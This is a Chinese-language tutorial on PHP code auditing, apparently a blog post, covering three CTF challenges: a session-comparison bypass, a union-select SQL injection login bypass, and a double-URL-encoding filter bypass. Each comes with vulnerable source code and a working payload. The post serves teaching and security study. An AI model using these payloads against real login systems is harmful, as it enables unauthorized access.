• PHP代码审计分段讲解(4)


    08 SESSION验证绕过

    源代码为:

    <?php
    ​
    $flag = "flag";
    ​
    session_start(); 
    if (isset ($_GET['password'])) {
        if ($_GET['password'] == $_SESSION['password'])
            die ('Flag: '.$flag);
        else
            print '<p>Wrong guess.</p>';
    }
    mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
    ?>

    以GET方式传入password,并且与SESSION中的password比较是否相等,相等则返回flag,否则输出提示

    SESSION中的password是我们能够看到但是难以解密的。

    phpsession.png

    与此同时,我们也可以随意修改PHPSESSION里面的值,虽然在服务端极大概率不能将SESSION中的password正确获取,但是这正是我们要做的。

    将GET传入的password设置为空,将PHPSESSION删除掉,两者即可相等,获得flag

    如图

    phpsession2.png

     

    09 密码md5比较绕过

    <?php
    
    //配置数据库
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("********, "*****", "********");
        mysql_select_db("phpformysql") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 
    
    //赋值
    
    $user = $_POST[user];
    $pass = md5($_POST[pass]);
    
    //sql语句
    
    // select pw from php where user='' union select 'e10adc3949ba59abbe56e057f20f883e' # 
    
    // ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
    
    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s
    ", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);
    //echo $row["pw"];
    
      if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    
    //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
    
    
        echo "<p>Logged in! Key:************** </p>";
    }
    else {
        echo("<p>Log in failure!</p>");
    
      }
    }
    ?>

    因为要链接数据库,进行相关配置,作者比较懒,直接分析代码吧

    这里是配置链接数据库

    //配置数据库
    if($_POST[user] && $_POST[pass]) {
        $conn = mysql_connect("********, "*****", "********");
        mysql_select_db("phpformysql") or die("Could not select database");
        if ($conn->connect_error) {
            die("Connection failed: " . mysql_error($conn));
    } 

    接着POST方式传入user和password

    $user = $_POST[user];
    $pass = md5($_POST[pass]);

    使用SQL语句查询数据库

    $sql = "select pw from php where user='$user'";
    $query = mysql_query($sql);
    if (!$query) {
        printf("Error: %s
    ", mysql_error($conn));
        exit();
    }
    $row = mysql_fetch_array($query, MYSQL_ASSOC);

    取出用户名为输入$user的密码,若密码存在且与输入的密码相同,登录成功,输出flag

    if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
    
    //如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
    
    
        echo "<p>Logged in! Key:************** </p>";

    总的流程就是,需要让数据库取出来的数据$row[pw]和md5($_POST[pass])相等

    我们可以发现sql语句并没有进行过滤,所以可以使用union select 组合结果到$query里面去

    payload最后为:

    ?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456

    前一个查询为空,后一个查询为已知的123456的md5值,与传入的pass相等,获得flag

     

    10 urldecode二次编码绕过

    源代码为:

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>

    GET方式传入id值,使用eregi函数对其进行hackerDJ的匹配搜索,匹配到的话立即退出,即输入id中不能含有hackerDJ。

    接着读id进行urldecode解码,再比较id与hackerDJ是否相等,相等则输出flag

    PHP本身在处理提交的数据之前会进行一次编码,在代码里面又进行了一次编码:

    $_GET[id] = urldecode($_GET[id]);

    所以我们只需要将hackerDJ URL编码两次,就能够绕过比较获取flag

    为了方便,只对h进行URL编码

    https://baike.baidu.com/item/URL%E7%BC%96%E7%A0%81/3703727?fr=aladdin

    最终的payload为:

    ?id=%2568ackerDJ

    获得flag

  • 相关阅读:
    线性表
    文件IO其四 图片显示
    文件IO其三 目录操作
    文件IO其二 文件IO
    文件IO其一 标准IO
    字符串处理函数
    复杂类型及编译相关
    linux内存分析
    构建根文件系统3-完善根文件系统
    构建根文件系统3-构建最小根文件系统
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/13246007.html
Copyright © 2020-2023  润新知